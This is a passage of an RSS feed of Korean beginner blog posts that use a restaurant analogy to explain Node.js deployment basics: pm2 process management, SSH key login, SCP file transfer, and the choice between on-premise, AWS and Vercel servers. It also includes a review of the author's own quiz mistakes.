<td>프로세스 번호</td>
<td>셰프 번호표</td>
</tr>
<tr>
<td>↺</td>
<td>재시작 횟수</td>
<td>셰프가 쓰러졌다 부활한 횟수</td>
</tr>
<tr>
<td>status</td>
<td>상태</td>
<td>근무중 / 퇴근 / 쓰러짐</td>
</tr>
<tr>
<td>memory</td>
<td>메모리 사용량</td>
<td>셰프가 차지하는 주방 공간</td>
</tr>
</tbody></table>
<blockquote>
<p>⚠️ <strong>↺ 숫자가 계속 올라간다면?</strong>
앱이 계속 크래시 → pm2가 살리고 → 또 크래시 반복 중이라는 뜻.
코드에 심각한 버그가 있다는 신호! <code>pm2 logs</code>로 에러 확인 필요.</p>
</blockquote>
<h3 id="자주-쓰는-명령어-모음">자주 쓰는 명령어 모음</h3>
<pre><code class="language-bash">pm2 list              # 실행 중인 프로세스 목록
pm2 logs my-app       # 로그(기록) 보기
pm2 restart my-app    # 재시작
pm2 stop my-app       # 멈추기
pm2 delete my-app     # 완전 삭제
pm2 monit             # 실시간 모니터링</code></pre>
<table>
<thead>
<tr>
<th>명령어</th>
<th>레스토랑 비유</th>
</tr>
</thead>
<tbody><tr>
<td><code>pm2 list</code></td>
<td>&quot;지금 누가 일하고 있어?&quot;</td>
</tr>
<tr>
<td><code>pm2 logs</code></td>
<td>&quot;김셰프 오늘 뭐했어? 기록 보여줘&quot;</td>
</tr>
<tr>
<td><code>pm2 restart</code></td>
<td>&quot;잠깐 쉬었다 다시 시작해&quot;</td>
</tr>
<tr>
<td><code>pm2 stop</code></td>
<td>&quot;오늘 퇴근해&quot;</td>
</tr>
<tr>
<td><code>pm2 delete</code></td>
<td>&quot;해고&quot;</td>
</tr>
<tr>
<td><code>pm2 monit</code></td>
<td>&quot;주방 CCTV 실시간 감시&quot;</td>
</tr>
</tbody></table>
<hr>
<h2 id="6-서버-재부팅에도-살아남기-pm2-startup--save">6. 서버 재부팅에도 살아남기: pm2 startup + save</h2>
<pre><code class="language-bash">pm2 startup   # 서버 켜지면 pm2가 자동 출근하게 설정
pm2 save      # &quot;이 셰프들 다시 불러야 해&quot; 명단 저장</code></pre>
<p>서버 재부팅되면 셰프들(프로세스)이 전부 퇴근한 상태인데,
주방 매니저(pm2)가 <strong>자동 출근(startup)</strong>해서 <strong>명단표(save)</strong>를 보고 셰프들을 다시 불러온다.</p>
<pre><code>서버 재부팅
    ↓
pm2 자동 실행 (startup)
    ↓
저장된 명단 확인 (save)
    ↓
prod-app(5008), dev-app(5007) 자동 시작!</code></pre><hr>
<h2 id="7-내-프로젝트에-적용하면">7. 내 프로젝트에 적용하면</h2>
<pre><code class="language-bash"># 프로덕션 앱 (사용자용)
pm2 start yarn --name &quot;prod-app&quot; -- start -p 5008

# 개발 확인용 앱 (내부 테스트용)
pm2 start yarn --name &quot;dev-app&quot; -- devStart -p 5007

# 서버 재부팅 대비 설정
pm2 startup
pm2 save</code></pre>
<p>이제 SSH를 끊어도, 에러가 나도, 서버가 재부팅돼도 두 앱 모두 살아남는다!</p>
<hr>
<h2 id="📌-오늘의-핵심-정리-비유-구조">📌 오늘의 핵심 정리 (비유 구조)</h2>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
</tr>
</thead>
<tbody><tr>
<td>주방 건물</td>
<td>서버 컴퓨터</td>
</tr>
<tr>
<td>셰프</td>
<td>프로세스 (yarn start)</td>
</tr>
<tr>
<td>음식</td>
<td>사이트</td>
</tr>
<tr>
<td>주방 매니저</td>
<td>pm2</td>
</tr>
<tr>
<td>셰프가 쓰러짐</td>
<td>크래시 (에러로 프로세스 죽음)</td>
</tr>
<tr>
<td>음식이 안 나옴</td>
<td>사이트 접속 불가</td>
</tr>
<tr>
<td>자동 출근 알람</td>
<td>pm2 startup</td>
</tr>
<tr>
<td>출근 명단표</td>
<td>pm2 save</td>
</tr>
</tbody></table>
<blockquote>
<p>셰프(프로세스)가 쓰러지면 음식(사이트)이 안 나오고,
주방 매니저(pm2)가 셰프를 다시 깨워서 요리를 이어가게 한다.
가게가 닫혔다 열려도(재부팅) 매니저가 명단표 보고 셰프를 자동 소집한다.</p>
</blockquote>
<hr>
<blockquote>
<p>🔮 <strong>다음 시간 (Day 9):</strong> Nginx란? 리버스 프록시 개념
사용자는 <code>https://my-site.com</code>으로 접속하지, <code>https://my-site.com:5008</code>로 접속하지 않는다.
포트 번호 없이 접속하게 해주는 <strong>홀 매니저(Nginx)</strong>를 배운다!</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Day 1~7 테스트 오답 & 헷갈린 것 정리]]></title>
            <link>https://velog.io/@jjang_hyo/Day-17-%ED%85%8C%EC%8A%A4%ED%8A%B8-%EC%98%A4%EB%8B%B5-%ED%97%B7%EA%B0%88%EB%A6%B0-%EA%B2%83-%EC%A0%95%EB%A6%AC</link>
            <guid>https://velog.io/@jjang_hyo/Day-17-%ED%85%8C%EC%8A%A4%ED%8A%B8-%EC%98%A4%EB%8B%B5-%ED%97%B7%EA%B0%88%EB%A6%B0-%EA%B2%83-%EC%A0%95%EB%A6%AC</guid>
            <pubDate>Sun, 26 Apr 2026 10:16:50 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📚 중간 테스트 후 약한 부분만 모아서 복습하기</p>
</blockquote>
<hr>
<h2 id="1-yarn-dev-vs-yarn-start는-로컬서버-차이가-아니다">1. <code>yarn dev</code> vs <code>yarn start</code>는 로컬/서버 차이가 아니다</h2>
<h3 id="❌-내가-답한-것">❌ 내가 답한 것</h3>
<blockquote>
<p>yarn dev는 로컬 서버, yarn start는 실서버</p>
</blockquote>
<h3 id="✅-정확한-개념">✅ 정확한 개념</h3>
<blockquote>
<p>yarn dev는 <strong>개발 모드</strong>, yarn start는 <strong>프로덕션 모드</strong></p>
</blockquote>
<p>둘 다 로컬에서도 실행할 수 있고, 서버에서도 실행할 수 있다.
차이는 <strong>&quot;어디서 실행하느냐&quot;가 아니라 &quot;어떤 모드로 실행하느냐&quot;</strong>이다.</p>
<table>
<thead>
<tr>
<th></th>
<th><code>yarn dev</code></th>
<th><code>yarn start</code></th>
</tr>
</thead>
<tbody><tr>
<td>빌드 필요?</td>
<td>❌ 바로 실행</td>
<td>✅ <code>yarn build</code> 먼저</td>
</tr>
<tr>
<td>코드 수정 반영</td>
<td>즉시 반영 (HMR)</td>
<td>다시 빌드해야 반영</td>
</tr>
<tr>
<td>에러 메시지</td>
<td>친절하고 자세함</td>
<td>간략함</td>
</tr>
<tr>
<td>용도</td>
<td>개발할 때</td>
<td>사용자에게 보여줄 때</td>
</tr>
<tr>
<td>어디서든 실행 가능?</td>
<td>✅ 로컬도, 서버도</td>
<td>✅ 로컬도, 서버도</td>
</tr>
</tbody></table>
<hr>
<h2 id="2-트래픽-100배-→-가장-빠르게-대응은-vercel">2. 트래픽 100배 → &quot;가장 빠르게 대응&quot;은 Vercel</h2>
<h3 id="❌-내가-답한-것-1">❌ 내가 답한 것</h3>
<blockquote>
<p>세 가지를 각각 설명했지만, &quot;가장 빠른 것&quot;을 콕 집지 못함</p>
</blockquote>
<h3 id="✅-정확한-답">✅ 정확한 답</h3>
<blockquote>
<p><strong>Vercel</strong> — 자동 스케일링이라 내가 아무것도 안 해도 알아서 늘려준다</p>
</blockquote>
<table>
<thead>
<tr>
<th></th>
<th>대응 속도</th>
<th>이유</th>
</tr>
</thead>
<tbody><tr>
<td>자체 서버</td>
<td>🐌 며칠~몇 주</td>
<td>컴퓨터를 사서 설치해야 함</td>
</tr>
<tr>
<td>AWS</td>
<td>⚡ 몇 분~몇 시간</td>
<td>빠르지만 내가 직접 설정 변경해야 함</td>
</tr>
<tr>
<td>Vercel</td>
<td>⚡⚡ 자동</td>
<td>아무것도 안 해도 알아서 처리</td>
</tr>
</tbody></table>
<hr>
<h2 id="3-ssh-명령어에서-ubuntu는-서버-이름이-아니라-계정-이름">3. SSH 명령어에서 <code>ubuntu</code>는 서버 이름이 아니라 <strong>계정 이름</strong></h2>
<h3 id="❌-내가-답한-것-2">❌ 내가 답한 것</h3>
<blockquote>
<p>ubuntu = 서버 이름</p>
</blockquote>
<h3 id="✅-정확한-개념-1">✅ 정확한 개념</h3>
<blockquote>
<p>ubuntu = <strong>서버에서 사용할 사용자 계정 이름</strong></p>
</blockquote>
<p>하나의 서버에 여러 계정이 있을 수 있다:</p>
<ul>
<li><code>root</code> — 최고 관리자</li>
<li><code>ubuntu</code> — AWS에서 기본 생성되는 계정</li>
<li><code>deploy</code> — 배포 전용 계정</li>
</ul>
<p>레스토랑 비유: &quot;주방에 전화해서 <strong>주방장 김씨 바꿔주세요</strong>&quot;에서 <strong>김씨</strong>에 해당하는 부분.</p>
<pre><code class="language-bash">ssh -i my-key.pem ubuntu@13.125.200.50
#                  ^^^^^^
#                  서버 이름(X) → 계정 이름(O)</code></pre>
<hr>
<h2 id="4-배포와-실행start은-다른-단계다">4. &quot;배포&quot;와 &quot;실행(start)&quot;은 다른 단계다</h2>
<h3 id="❌-내가-헷갈린-것">❌ 내가 헷갈린 것</h3>
<blockquote>
<p>&quot;서버는 이미 켜져 있는데 yarn start는 뭘 켜는 거야?&quot;
&quot;배포가 뭐야? 서버에 파일 올리는 거야, 서버를 켜는 거야?&quot;</p>
</blockquote>
<h3 id="✅-정확한-개념-2">✅ 정확한 개념</h3>
<p><strong>서버 컴퓨터가 켜져 있는 것</strong>과 <strong>앱(Next.js)이 실행되는 것</strong>은 별개이다.</p>
<table>
<thead>
<tr>
<th>개념</th>
<th>의미</th>
<th>레스토랑 비유</th>
</tr>
</thead>
<tbody><tr>
<td>서버 컴퓨터 ON</td>
<td>컴퓨터 전원이 켜져 있음</td>
<td>주방 건물이 열려 있음</td>
</tr>
<tr>
<td>배포</td>
<td>빌드된 파일을 서버로 옮김</td>
<td>손질된 재료를 주방에 갖다 놓음</td>
</tr>
<tr>
<td>yarn start</td>
<td>앱 프로그램을 실행함</td>
<td>가스레인지 불 켜고 영업 시작</td>
</tr>
</tbody></table>
<p>건물이 열려 있어도 → 재료가 없으면 요리 못 함 (배포 안 하면)
재료가 있어도 → 불을 안 켜면 요리 못 함 (start 안 하면)</p>
<h3 id="올바른-전체-흐름">올바른 전체 흐름</h3>
<pre><code>코드 작성 (로컬)
    ↓
yarn build (빌드)
    ↓
빌드된 파일을 서버로 보낸다 ← 여기가 &quot;배포&quot;
    ↓
SSH로 서버 접속
    ↓
yarn start -p 5008 ← 여기가 &quot;실행&quot;
    ↓
사용자 접속 가능!</code></pre><blockquote>
<p>실무에서는 서버에서 <code>git pull → yarn build → yarn start</code>를 한 번에 하는 경우가 많아서
배포와 실행이 뒤섞여 보이지만, 개념적으로는 다른 단계이다.</p>
</blockquote>
<hr>
<h2 id="📌-한-줄-요약">📌 한 줄 요약</h2>
<table>
<thead>
<tr>
<th>#</th>
<th>헷갈린 것</th>
<th>기억할 것</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>dev=로컬, start=서버?</td>
<td>dev=<strong>개발 모드</strong>, start=<strong>프로덕션 모드</strong> (둘 다 어디서든 가능)</td>
</tr>
<tr>
<td>2</td>
<td>트래픽 대응 가장 빠른 것?</td>
<td><strong>Vercel</strong> (자동 스케일링)</td>
</tr>
<tr>
<td>3</td>
<td>ubuntu=서버 이름?</td>
<td>ubuntu=<strong>계정 이름</strong> (서버 안의 사용자)</td>
</tr>
<tr>
<td>4</td>
<td>배포=서버 켜기?</td>
<td>배포=<strong>파일을 서버로 옮기기</strong>, 실행=<strong>yarn start로 앱 켜기</strong></td>
</tr>
</tbody></table>
]]></description>
        </item>
        <item>
            <title><![CDATA[Day 7 — SSH란? 서버 접속 해보기]]></title>
            <link>https://velog.io/@jjang_hyo/Day-7-SSH%EB%9E%80-%EC%84%9C%EB%B2%84-%EC%A0%91%EC%86%8D-%ED%95%B4%EB%B3%B4%EA%B8%B0</link>
            <guid>https://velog.io/@jjang_hyo/Day-7-SSH%EB%9E%80-%EC%84%9C%EB%B2%84-%EC%A0%91%EC%86%8D-%ED%95%B4%EB%B3%B4%EA%B8%B0</guid>
            <pubDate>Sat, 25 Apr 2026 12:44:02 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📚 2년차 프론트엔드 개발자의 12주 기초 챌린지
Week 2: 배포 환경 이해하기 (Day 6-10)</p>
</blockquote>
<hr>
<h2 id="🍳-레스토랑-비유로-시작하기">🍳 레스토랑 비유로 시작하기</h2>
<p>어제 서버가 &quot;멀리 있는, 24시간 켜져 있는 컴퓨터&quot;라는 걸 배웠다.
그런데 그 컴퓨터가 회사 서버실에 있거나 AWS 데이터센터에 있으면, <strong>어떻게 조작하나?</strong></p>
<p>주방(서버)은 다른 건물에 있다.
직접 가지 않고 관리하려면? <strong>주방에 보안 전화선을 깔아서, 전화로 지시를 내린다.</strong></p>
<ul>
<li>전화를 걸려면 <strong>주방 전화번호(IP 주소)</strong>를 알아야 하고</li>
<li>아무나 전화하면 안 되니까 <strong>암호화된 비밀 통화(SSH 암호화)</strong>를 쓰고</li>
<li>통화가 연결되면 <strong>셰프에게 음성으로 명령(터미널 명령어)</strong>을 내린다</li>
</ul>
<p>이게 바로 <strong>SSH</strong>다!</p>
<hr>
<h2 id="1-ssh란">1. SSH란?</h2>
<blockquote>
<p><strong>SSH (Secure Shell) = 멀리 있는 컴퓨터에 안전하게 접속해서 명령어를 입력하는 방법</strong></p>
</blockquote>
<ul>
<li><strong>Secure</strong> — 통신 내용이 암호화되어 있어서, 중간에 누가 엿봐도 내용을 알 수 없다</li>
<li><strong>Shell</strong> — 터미널(명령어 입력 창)을 뜻한다</li>
</ul>
<p>SSH로 서버에 접속하면 <strong>내 컴퓨터의 터미널에서 타이핑하지만, 실제로는 서버 컴퓨터에서 실행된다.</strong>
내 손은 여기 있지만, 움직이는 건 저쪽 로봇(서버)인 <strong>원격 조종</strong>이다.</p>
<hr>
<h2 id="2-ssh-접속의-기본-구조">2. SSH 접속의 기본 구조</h2>
<pre><code class="language-bash">ssh 사용자이름@서버IP주소</code></pre>
<p>예시:</p>
<pre><code class="language-bash">ssh ubuntu@13.125.200.50</code></pre>
<table>
<thead>
<tr>
<th>부분</th>
<th>의미</th>
<th>레스토랑 비유</th>
</tr>
</thead>
<tbody><tr>
<td><code>ssh</code></td>
<td>SSH 프로그램 실행</td>
<td>전화기를 든다</td>
</tr>
<tr>
<td><code>ubuntu</code></td>
<td>서버에서 사용할 계정 이름</td>
<td>&quot;주방장 김씨 바꿔주세요&quot;</td>
</tr>
<tr>
<td><code>@</code></td>
<td>~에 접속한다</td>
<td>~에게 전화한다</td>
</tr>
<tr>
<td><code>13.125.200.50</code></td>
<td>서버의 IP 주소</td>
<td>주방 전화번호</td>
</tr>
</tbody></table>
<p>접속 성공하면 터미널 프롬프트가 바뀐다:</p>
<pre><code class="language-bash"># 접속 전 (내 컴퓨터)
myname@my-macbook ~ %

# 접속 후 (서버 컴퓨터)
ubuntu@ip-13-125-200-50:~$</code></pre>
<p>이 순간부터 치는 모든 명령어는 <strong>서버 컴퓨터에서 실행</strong>된다!</p>
<hr>
<h2 id="3-인증-방식-비밀번호-vs-ssh-키key">3. 인증 방식: 비밀번호 vs SSH 키(Key)</h2>
<h3 id="🔑-방법-1-비밀번호-방식">🔑 방법 1: 비밀번호 방식</h3>
<pre><code class="language-bash">ssh ubuntu@13.125.200.50
# → &quot;Password:&quot; 라고 물어봄 → 비밀번호 입력</code></pre>
<p>간단하지만 비밀번호 유출 위험 + 매번 입력해야 하는 번거로움.</p>
<h3 id="🔐-방법-2-ssh-키-방식-실무-표준">🔐 방법 2: SSH 키 방식 (실무 표준!)</h3>
<p>비밀번호 대신 <strong>열쇠 파일</strong>을 사용한다.</p>
<pre><code class="language-bash">ssh -i my-key.pem ubuntu@13.125.200.50</code></pre>
<p><strong>자물쇠와 열쇠</strong> 원리:</p>
<table>
<thead>
<tr>
<th></th>
<th>이름</th>
<th>위치</th>
<th>역할</th>
</tr>
</thead>
<tbody><tr>
<td>🔒</td>
<td>공개 키 (Public Key)</td>
<td><strong>서버</strong>에 설치</td>
<td>자물쇠</td>
</tr>
<tr>
<td>🔑</td>
<td>개인 키 (Private Key)</td>
<td><strong>내 컴퓨터</strong>에만 보관</td>
<td>열쇠</td>
</tr>
</tbody></table>
<p>서버에 달린 자물쇠에 맞는 열쇠를 가진 사람만 접속 가능.</p>
<blockquote>
<p>⚠️ <strong>개인 키는 절대 Git에 올리면 안 된다!</strong>
서버가 해킹당해도 공개 키(자물쇠)만 있으니 안전하지만,
개인 키가 유출되면 그 자물쇠가 달린 모든 서버에 접속할 수 있게 된다.</p>
</blockquote>
<hr>
<h2 id="4-실무에서의-ssh-흐름-내-프로젝트-기준">4. 실무에서의 SSH 흐름 (내 프로젝트 기준)</h2>
<pre><code>1. 로컬에서 코드 작성 + yarn build
       ↓
2. SSH로 서버에 접속
   ssh -i my-key.pem ubuntu@회사서버IP
       ↓
3. 서버에서 코드 가져오기
   git pull origin main
       ↓
4. 서버에서 빌드 + 실행
   yarn build
   yarn start -p 5008
       ↓
5. 사용자가 사이트에 접속 가능!</code></pre><p>포트 확인도 가능:</p>
<pre><code class="language-bash"># 서버에 접속한 상태에서
lsof -i :5008    # 5008 포트에서 뭐가 돌아가나?
lsof -i :5007    # 5007 포트에서 뭐가 돌아가나?</code></pre>
<hr>
<h2 id="5-ssh-접속-후-자주-쓰는-명령어">5. SSH 접속 후 자주 쓰는 명령어</h2>
<pre><code class="language-bash">pwd              # 지금 어디 폴더에 있는지 확인
ls -la           # 폴더 안에 뭐가 있나 보기
cd /home/ubuntu/my-project   # 폴더 이동
cat .env         # 파일 내용 보기
ps aux | grep node   # 현재 실행 중인 프로세스 확인
exit             # 서버 접속 종료</code></pre>
<table>
<thead>
<tr>
<th>명령어</th>
<th>레스토랑 비유</th>
</tr>
</thead>
<tbody><tr>
<td><code>pwd</code></td>
<td>&quot;지금 주방 몇 층이야?&quot;</td>
</tr>
<tr>
<td><code>ls -la</code></td>
<td>&quot;거기 뭐가 있어?&quot;</td>
</tr>
<tr>
<td><code>cd</code></td>
<td>&quot;냉장고 쪽으로 가봐&quot;</td>
</tr>
<tr>
<td><code>cat .env</code></td>
<td>&quot;레시피 비밀노트 읽어봐&quot;</td>
</tr>
<tr>
<td><code>ps aux | grep node</code></td>
<td>&quot;지금 가동 중인 화구가 뭐야?&quot;</td>
</tr>
<tr>
<td><code>exit</code></td>
<td>&quot;전화 끊을게&quot;</td>
</tr>
</tbody></table>
<hr>
<h2 id="6-scp--서버로-파일-보내기">6. SCP — 서버로 파일 보내기</h2>
<p>SSH가 &quot;접속해서 명령하는 것&quot;이라면, <strong>SCP는 &quot;파일을 보내거나 가져오는 것&quot;</strong>이다.</p>
<pre><code class="language-bash"># 내 컴퓨터 → 서버로 파일 보내기
scp -i my-key.pem ./build.zip ubuntu@13.125.200.50:/home/ubuntu/

# 서버 → 내 컴퓨터로 파일 가져오기
scp -i my-key.pem ubuntu@13.125.200.50:/home/ubuntu/error.log ./</code></pre>
<p>SSH는 <strong>전화(음성 명령)</strong>, SCP는 <strong>택배(파일 전송)</strong>.
같은 보안 통로를 쓰지만, 하나는 명령을, 하나는 물건을 보낸다.</p>
<hr>
<h2 id="7-ssh-끊으면-서버가-죽는다">7. SSH 끊으면 서버가 죽는다?!</h2>
<p>SSH로 접속해서 <code>yarn start</code>를 실행한 뒤, 터미널을 닫으면 <strong>사이트가 죽는다!</strong></p>
<p>서버 컴퓨터 자체는 24시간 켜져 있지만, <code>yarn start</code>는 <strong>SSH 세션에 묶여 있는 프로세스</strong>이기 때문이다.</p>
<ul>
<li>SSH 접속 = 주방에 전화 연결</li>
<li><code>yarn start</code> = &quot;불 켜고 요리 시작해&quot; 지시</li>
<li>전화를 끊으면(SSH 종료) = <strong>통화 중에 시킨 일 전부 중단</strong></li>
</ul>
<p>SSH로 실행한 프로세스는 <strong>그 SSH 세션의 &quot;자식 프로세스&quot;</strong>다.
부모(SSH)가 죽으면 자식(<code>yarn start</code>)도 같이 죽는다.</p>
<blockquote>
<p>🔮 이 문제를 해결하는 게 바로 <strong>pm2 (프로세스 매니저)</strong> → Day 8에서!</p>
</blockquote>
<hr>
<h2 id="📌-오늘의-핵심-정리">📌 오늘의 핵심 정리</h2>
<ol>
<li><strong>SSH</strong> — 멀리 있는 서버에 안전하게 접속해서 명령어를 입력하는 방법</li>
<li><strong>접속 형태</strong> — <code>ssh 사용자@IP주소</code> 또는 <code>ssh -i 키파일 사용자@IP주소</code></li>
<li><strong>인증 방식</strong> — 비밀번호보다 <strong>SSH 키 방식</strong>이 실무 표준</li>
<li><strong>SSH 키 원리</strong> — 공개 키(자물쇠)는 서버에, 개인 키(열쇠)는 내 컴퓨터에</li>
<li><strong>SCP</strong> — SSH와 같은 보안 통로로 파일을 전송하는 방법</li>
<li><strong>SSH 끊으면 프로세스도 죽는다</strong> — 이 문제를 해결하는 게 pm2</li>
<li><strong>실무 흐름</strong> — SSH 접속 → git pull → yarn build → yarn start</li>
</ol>
<hr>
<blockquote>
<p>🔮 <strong>다음 시간 (Day 8):</strong> pm2 / 프로세스 매니저 개념
&quot;전화를 끊어도 셰프가 계속 요리하게 만드는 시스템&quot;</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Day 6 — 서버란 무엇인가? (AWS, Vercel, 자체 서버)]]></title>
            <link>https://velog.io/@jjang_hyo/Day-6-%EC%84%9C%EB%B2%84%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80-AWS-Vercel-%EC%9E%90%EC%B2%B4-%EC%84%9C%EB%B2%84</link>
            <guid>https://velog.io/@jjang_hyo/Day-6-%EC%84%9C%EB%B2%84%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80-AWS-Vercel-%EC%9E%90%EC%B2%B4-%EC%84%9C%EB%B2%84</guid>
            <pubDate>Fri, 24 Apr 2026 15:16:49 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📚 2년차 프론트엔드 개발자의 12주 기초 챌린지
Week 2: 배포 환경 이해하기 (Day 6-10)</p>
</blockquote>
<hr>
<h2 id="🍳-레스토랑-비유로-시작하기">🍳 레스토랑 비유로 시작하기</h2>
<p>Week 1에서 레시피를 만들고(개발), 재료를 손질해서 세팅하고(빌드), 손님에게 서빙하는(배포) 과정을 배웠다.</p>
<p>그런데 <strong>그 요리를 어디서 만드나?</strong> 당연히 <strong>주방(Kitchen)</strong>이 있어야 한다.
이 주방이 바로 <strong>서버</strong>다.</p>
<p>주방에도 종류가 있다:</p>
<ul>
<li><strong>내 건물에 직접 주방을 만든다</strong> → 자체 서버 (On-premise)</li>
<li><strong>공유 주방을 빌린다</strong> → AWS 같은 클라우드 서버</li>
<li><strong>배달 전문 키친을 쓴다</strong> (주방 관리는 전부 알아서 해줌) → Vercel 같은 서버리스 플랫폼</li>
</ul>
<hr>
<h2 id="1-서버의-본질-항상-켜져-있는-컴퓨터">1. 서버의 본질: &quot;항상 켜져 있는 컴퓨터&quot;</h2>
<blockquote>
<p><strong>서버 = 24시간 켜져 있으면서, 요청이 오면 응답해주는 컴퓨터</strong></p>
</blockquote>
<p>내 컴퓨터에서 <code>yarn start</code>를 실행하면 <code>localhost:5008</code>에서 사이트가 뜬다.
그 순간 내 컴퓨터가 서버 역할을 하고 있는 것이다.</p>
<p>다만 집에서 컴퓨터를 끄면 사이트도 죽는다.
그래서 <strong>24시간 안 꺼지는 컴퓨터</strong>가 필요한 것이다.</p>
<p>서버가 하는 일:</p>
<ul>
<li>사용자의 <strong>요청(request)</strong>을 받는다 (예: &quot;메인 페이지 보여줘&quot;)</li>
<li>요청에 맞는 <strong>파일이나 데이터를 찾아서</strong> 돌려준다 (HTML, CSS, JS, API 응답)</li>
<li>이걸 <strong>24시간 365일</strong> 한다</li>
</ul>
<hr>
<h2 id="2-세-가지-서버-유형-비교">2. 세 가지 서버 유형 비교</h2>
<h3 id="🏠-자체-서버-on-premise">🏠 자체 서버 (On-premise)</h3>
<p>직접 컴퓨터를 사서, 직접 설치하고, 직접 관리하는 방식.
<strong>건물을 사서 주방을 직접 만드는 것.</strong></p>
<ul>
<li>✅ 모든 걸 내 마음대로 제어 가능</li>
<li>✅ 월 사용료 없음 (초기 비용은 큼)</li>
<li>❌ 고장 나면 내가 고쳐야 함</li>
<li>❌ 트래픽 급증 시 대응 어려움 (컴퓨터를 사서 추가해야 하니까)</li>
<li>❌ 서버 관리 전문 인력 필요</li>
</ul>
<h3 id="☁️-클라우드-서버-aws-gcp-ncp-등">☁️ 클라우드 서버 (AWS, GCP, NCP 등)</h3>
<p>남의 컴퓨터를 <strong>빌려 쓰는</strong> 방식.
<strong>공유 주방을 월세로 빌리는 것.</strong></p>
<p>AWS의 <strong>EC2</strong> = &quot;가상 컴퓨터 한 대를 빌려주는 서비스&quot;</p>
<ul>
<li>✅ 컴퓨터를 안 사도 됨</li>
<li>✅ 트래픽 늘면 스펙 올릴 수 있음 (스케일링)</li>
<li>✅ 서버 하드웨어 관리 불필요</li>
<li>❌ 매달 비용 발생</li>
<li>❌ OS/Node.js/Nginx 등 소프트웨어 설치는 내가 해야 함</li>
</ul>
<h3 id="⚡-서버리스-플랫폼-vercel-netlify-등">⚡ 서버리스 플랫폼 (Vercel, Netlify 등)</h3>
<p>서버 관리를 <strong>아예 안 하는</strong> 방식.
<strong>배달 전문 클라우드 키친.</strong> 레시피(코드)만 넘기면 다 알아서 해줌.</p>
<ul>
<li>✅ git push만 하면 자동 빌드 + 배포</li>
<li>✅ 서버 관리 불필요</li>
<li>✅ 자동 스케일링</li>
<li>❌ 세밀한 서버 제어 어려움</li>
<li>❌ 무료 범위 넘으면 비용 증가</li>
</ul>
<hr>
<h2 id="3-내-프로젝트는-어떤-방식">3. 내 프로젝트는 어떤 방식?</h2>
<pre><code class="language-json">&quot;dev&quot;: &quot;next dev -p 4040&quot;
&quot;build&quot;: &quot;next build&quot;
&quot;start&quot;: &quot;next start -p 5008&quot;
&quot;devStart&quot;: &quot;next start -p 5007&quot;</code></pre>
<p><strong>포트를 직접 지정</strong>하고, <code>start</code>와 <code>devStart</code>를 나눠서 쓰고 있다.</p>
<p>→ 이건 <strong>자체 서버 또는 클라우드 서버(AWS EC2 등)</strong>에서 직접 Node.js를 돌리는 환경이다.</p>
<p>Vercel 같은 서버리스 플랫폼에서는 포트 번호를 직접 지정할 필요가 없기 때문이다.</p>
<p><code>devStart</code>가 따로 있다는 건, 같은 서버에서 <strong>프로덕션용(5008)</strong>과 <strong>개발 확인용(5007)</strong>을 동시에 돌리는 구조일 수 있다.</p>
<hr>
<h2 id="4-배포-→-서버에서-켜기-전체-흐름">4. 배포 → 서버에서 켜기, 전체 흐름</h2>
<pre><code>로컬에서 코드 작성
    ↓
yarn build (빌드 → .next 폴더 생성)
    ↓
빌드된 파일을 서버 컴퓨터로 보낸다 (= 배포)
    ↓
서버에서 yarn start -p 5008 (= 켜기)
    ↓
사용자가 접속 가능! 🎉</code></pre><p><strong>배포 = 파일을 서버에 올리는 것</strong>이고, <strong>서버에서 실행(start)해야</strong> 비로소 사용자가 접속할 수 있다.</p>
<p>Vercel은 이 &quot;켜는&quot; 과정까지 자동이고, 직접 서버를 관리하는 환경에서는 <strong>누군가가 서버에 접속해서 직접 켜야</strong> 한다.</p>
<hr>
<h2 id="5-스케일링-용어-정리">5. 스케일링 용어 정리</h2>
<p>트래픽이 갑자기 늘었을 때:</p>
<ul>
<li><strong>스케일 업 (Scale Up)</strong> — 서버 한 대의 스펙을 올린다 (CPU, 메모리 추가). 작은 주방을 큰 주방으로 바꾸는 것.</li>
<li><strong>스케일 아웃 (Scale Out)</strong> — 같은 서버를 여러 대로 늘린다. 주방을 하나 더 여는 것.</li>
</ul>
<table>
<thead>
<tr>
<th></th>
<th>자체 서버</th>
<th>AWS</th>
<th>Vercel</th>
</tr>
</thead>
<tbody><tr>
<td>스케일 업</td>
<td>부품 교체 (시간 오래 걸림)</td>
<td>클릭 몇 번으로 가능</td>
<td>자동</td>
</tr>
<tr>
<td>스케일 아웃</td>
<td>컴퓨터 추가 구매 필요</td>
<td>클릭 몇 번으로 가능</td>
<td>자동</td>
</tr>
<tr>
<td>급한 대응</td>
<td>❌ 어렵다</td>
<td>✅ 빠르다</td>
<td>✅ 알아서 된다</td>
</tr>
</tbody></table>
<hr>
<h2 id="📌-오늘의-핵심-정리">📌 오늘의 핵심 정리</h2>
<ol>
<li><strong>서버 = 24시간 켜져 있으면서 요청에 응답하는 컴퓨터</strong></li>
<li><strong>자체 서버</strong> → 완전한 제어권, 관리 부담 큼</li>
<li><strong>클라우드(AWS)</strong> → 빌려 쓴다, 스케일링 가능, 설정은 직접</li>
<li><strong>서버리스(Vercel)</strong> → 코드만 넘기면 끝, 편하지만 세밀한 제어 어려움</li>
<li><strong>배포 = 파일을 서버에 올리는 것, 그 다음 서버에서 start 해야 작동</strong></li>
<li><strong>내 프로젝트</strong> → 포트 직접 지정 + start/devStart 분리 = 직접 서버 관리 환경</li>
</ol>
<hr>
<blockquote>
<p>🔮 <strong>다음 시간 (Day 7):</strong> SSH란? 서버 접속 해보기
&quot;멀리 있는 서버 컴퓨터를 어떻게 조작하는가?&quot;</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Week 1 보너스] 로컬·개발·실서버, 포트, CDN — 내가 이해한 게 맞는지 검증해봤다]]></title>
